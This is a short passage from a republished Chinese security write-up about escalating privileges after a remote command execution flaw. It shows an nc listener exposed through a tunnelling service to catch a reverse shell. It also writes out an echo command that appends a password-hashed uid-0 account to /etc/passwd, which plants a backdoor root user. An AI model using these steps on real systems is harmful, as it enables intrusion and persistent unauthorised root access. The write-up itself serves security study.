正文
能 ping 通,果然能外连,那就可以通过 nc 反弹搞一波了,本地的攻击机在内网,内网穿透一波,我一般用 https://www.uulap.com/ 大家可以试试
将本地的 6666 端口映射到公网
本地建立监听 nc -l -n -v -p 6666
echo ‘用户名
:LRxM3nP3LOiYU
:
0
:
0
:hello
:/root
:/bin/bash
’
/etc/passwd
文章来源:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看
多一条小鱼干
原文始发于微信公众号(黑白之道):记一次远程命令执行漏洞提权过程
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论